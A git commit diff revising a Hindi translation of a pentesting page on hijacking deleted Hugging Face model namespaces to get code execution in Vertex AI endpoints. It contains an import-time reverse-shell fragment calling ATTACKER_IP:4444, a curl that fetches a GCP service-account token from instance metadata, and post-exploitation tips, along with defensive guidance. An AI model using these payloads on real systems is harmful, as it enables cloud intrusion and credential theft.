Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

This commit is contained in:
Translator
2025-09-29 22:42:45 +00:00
parent d9f1c1f7a1
commit f7f3b8798d
6 changed files with 325 additions and 329 deletions

View File

@@ -4,18 +4,18 @@
## परिदृश्य
- Vertex AI Model Garden कई Hugging Face (HF) मॉडल्स की सीधे तैनाती की अनुमति देता है।
- HF model identifiers हैं Author/ModelName. यदि HF पर कोई author/org हटाया जाता है, तो वही author नाम किसी भी व्यक्ति द्वारा फिर से रजिस्टर किया जा सकता है। हमलावर तब उसी ModelName के साथ legacy path पर एक repo बना सकते हैं।
- नाम के आधार पर (बिना pinning/integrity) fetch करने वाले Pipelines, SDKs, या cloud catalogs attacker-controlled repo को pull कर लेंगे। जब मॉडल तैनात होता है, तो उस repo का loader code Vertex AI endpoint container के अंदर execute कर सकता है, जिससे endpoint की permissions के साथ RCE मिल सकती है।
- Vertex AI Model Garden कई Hugging Face (HF) models की प्रत्यक्ष तैनाती की अनुमति देता है।
- HF model identifiers are Author/ModelName. यदि HF पर कोई author/org हटाया जाता है, तो वही author नाम कोई भी व्यक्ति फिर से रजिस्टर क सकता है। Attackers फिर legacy path पर वही ModelName रखते हुए एक repo बना सकते हैं।
- Pipelines, SDKs, या cloud catalogs जो सिर्फ नाम से ही fetch करते हैं (no pinning/integrity), attacker-controlled repo को खींच लेंगे। जब model deploy होगा, उस repo का loader code Vertex AI endpoint container के अंदर execute हो सकता है, जिससे endpoints permissions के साथ RCE मिल सकती है।
HF पर दो सामान्य takeover केस:
- Ownership deletion: पुराना path 404 देता रहता है जब तक कोई author को फिर से रजिस्टर करके वही ModelName प्रकाशित न करे।
- Ownership transfer: HF पुरान Author/ModelName से नए author के पास 307 redirect जारी करता है। यदि पुराना author बाद में हटाया जाता है और एक attacker द्वारा फिर से रजिस्टर किया जाता है, तो redirect chain टूट जाती है और attacker का repo legacy path पर serve करता है।
HF पर दो सामान्य takeover मामले:
- Ownership deletion: पुराना path 404 लौटाता है जब तक कोई author को फिर से रजिस्टर करके वही ModelName प्रकाशित न करे।
- Ownership transfer: HF पुरान Author/ModelName से नए owner की तरफ 307 redirects देता है। अगर पुराना author बाद में delete हो जाता है और attacker द्वारा फिर से रजिस्टर कर लिया जाता है, तो redirect chain टूट जाती है और attacker का repo legacy path पर serve करने लगता है।
## Reusable Namespaces (HF) की पहचान
- Old author deleted: author का पृष्ठ 404 लौटाता है; model path takeover तक 404 दे सकता है।
- Transferred models: जब पुरान author मौजूद होता है तो पुराना model path नए owner के लिए 307 जारी करता है। अगर पुराना author बाद में हटाया जाता है और फिर से रजिस्टर किया जाता है, तो legacy path attacker के repo को resolve करेगा।
- Old author deleted: author का page 404 लौटाता है; model path takeover तक 404 लौट सकता है।
- Transferred models: पुराना model path पुरान author के मौजूद रहने पर नए owner की ओर 307 भेजता है। अगर पुराना author बाद में delete हो जाए और फिर re-register हो जाए, तो legacy path attacker के repo पर resolve हो जाएगा।
curl के साथ त्वरित जाँच:
```bash
@@ -28,22 +28,22 @@ curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Vertex AI के खिलाफ End-to-end Attack Flow
## Vertex AI के खिलाफ अंत-से-अंत हमला प्रवाह
1) Model Garden द्वारा deployable के रूप में सूचीबद्ध उन reusable model namespaces की खोज करें:
- Vertex AI Model Garden में ऐसे HF models खोजें जो अभी भी “verified deployable” के रूप में दिखते हैं।
- HF पर जांचें कि original Author हटाया गया है या मॉडल transfer हुआ और पुराने Author को बाद में हटाया गया था।
1) उन reusable model namespaces की खोज करें जिन्हें Model Garden deployable के रूप में सूचीबद्ध करता है:
- HF models खोजें जो Vertex AI Model Garden में अभी भी “verified deployable” के रूप में दिखते हैं।
- HF पर सत्यापित करें कि मूल author हटाया गया है या model transfer किया गया था और पुराना author बाद में हटाया गया था।
2) HF पर deleted Author को फिर से re-register करें और वही ModelName पुन: बनाएं।
2) HF पर हटाए गए author को फिर से रजिस्टर करें और वही ModelName पुन: बनाएं।
3) एक malicious repo publish करें। ऐसा को शामिल करें जो model load पर execute हो। आम उदाहरण जो HF model load के दौरान आमतौर पर execute होते हैं:
3) एक malicious repo प्रकाशित करें। उस code को शामिल करें जो model load पर execute होता है। उदाहरण जो आमतौर पर HF model load के दौरान execute होते हैं:
- repo के __init__.py में side effects
- config/auto_map द्वारा refer किए गए custom modeling_*.py या processing code
- ऐसे code paths ज Transformers pipelines में trust_remote_code=True की आवश्यकता रखते है
- config/auto_map द्वारा संदर्भित custom modeling_*.py या processing code
- ऐसे code paths जिन्हें Transformers pipelines में trust_remote_code=True की आवश्यकता होती है
4) legacy Author/ModelName का Vertex AI deployment अब attacker repo को pull करता है। loader Vertex AI endpoint container के अंदर execute होता है।
5) Payload endpoint environment (RCE) से endpoint की permissions के साथ access स्थापित कर देता है।
5) Payload endpoint environment (RCE) से access स्थापित करता है जो endpoint की permissions के साथ होता है।
Example payload fragment executed on import (for demonstration only):
```python
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
नोट्स
- वास्तविक दुनिया के loaders भिन्न होते हैं। कई Vertex AI HF integrations model config में संदर्भित repo मॉड्यूल्स को clone और import करते हैं (उदा., auto_map), जो code execution को ट्रिगर कर सकते हैं। कुछ उपयोगों के लिए trust_remote_code=True आवश्यक होता है।
- The endpoint सामान्यतः एक समर्पित container में सीमित scope के साथ चलता है, लेकिन यह GCP में data access और lateral movement के लिए एक वैध प्रारम्भिक foothold हो सकता है।
- वास्तविक दुनिया के loaders अलग-अलग होते हैं। कई Vertex AI HF integrations मॉडल config में संदर्भित repo modules को clone और import करते हैं (जैसे auto_map), जो code execution ट्रिगर कर सकते हैं। कुछ उपयोगों के लिए trust_remote_code=True आवश्यक हो सकता है।
- Endpoint आम तौर पर एक समर्पित container में सीमित scope के साथ चलता है, लेकिन यह GCP में डेटा एक्सेस और lateral movement के लिए एक वैध प्रारभिक foothold हो सकता है।
## Post-Exploitation Tips (Vertex AI Endpoint)
Once code is running inside the endpoint container, consider:
- credentials/tokens के लिए environment variables और metadata को enumerate करना
- संलग्न storage या mounted model artifacts तक पहुँच बनाना
- service account identity के माध्यम से Google APIs के साथ interaction (Document AI, Storage, Pub/Sub, आदि)
- यदि प्लेटफ़ॉर्म repo को फिर से pull करता है तो model artifact में persistence
एक बार code endpoint container के अंदर चलने लगे, तो इन पर विचार करें:
- environment variables और metadata को enumerate कर के credentials/tokens देखें
- attached storage या mounted model artifacts तक पहुँच
- service account identity के माध्यम से Google APIs के साथ इंटरैक्ट करना (Document AI, Storage, Pub/Sub, आदि)
- अगर platform repo को फिर से pull करता है तो model artifact में persistence
यदि उपलब्ध हो तो instance metadata को enumerate करें (container पर निर्भर):
यदि पहुंच योग्य हो तो instance metadata enumerate करें (container dependent):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Vertex AI उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
- HF loaders में मॉडल्स को commit द्वारा पिन करें ताकि silent replacement रोका जा सके:
- HF loaders में commit द्वारा मॉडल को पिन करें ताकि बिना सूचना के प्रतिस्थापन रोका जा सके:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- सत्यापित HF मॉडलों को एक भरोसेमंद आंतरिक artifact store/registry में mirror करें और वहं से deploy करें।
- कोडबेस और configs को लगातार स्कैन करें ताकि hard-coded Author/ModelName जो हटाए गए/हस्तांतरित हुए हैं, मिल सके; न्हें नए namespaces में अपडेट करें या commit द्वारा pin करें।
- Model Garden में deployment से पहले मॉडल provenance और लेखक के अस्तित्व को verify करें।
- परीक्षित HF models को एक भरोसेमंद internal artifact store/registry में मिरर करें और वहं से deploy करें।
- लगातार codebases और configs को स्कैन करें ताकि hard-coded Author/ModelName जो deleted/transferred हैं मिल सके; न्हें नए namespaces में अपडेट करें या commit द्वारा pin करें।
- Model Garden में, deployment से पहले मॉडल की provenance और author के मौजूद होने की सत्यापना करें।
## पहचान हयूरिस्टिक्स (HTTP)
## पहचान हयूरिस्टिक्स (HTTP)
- हटाया गया लेखक: लेखक पेज 404; legacy model path 404 रहता है जब तक takeover नहीं होता
- हस्तांतरित मॉडल: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद रहता है; यदि बाद में पुराना लेखक हटाया गया और पुनः-पंजीकृत कर दिया गया, तो legacy path हमलावर की सामग्री परोसता है
- Deleted author: author page 404; legacy model path 404 until takeover
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## क्रॉस-संदर्भ
## संबंधित संदर्भ
- विस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
- विस्तृत कार्यप्रणाली और आपूर्ति-श्रृंखला टिप्पणियाँ देखें:
{{#ref}}
../../pentesting-cloud-methodology.md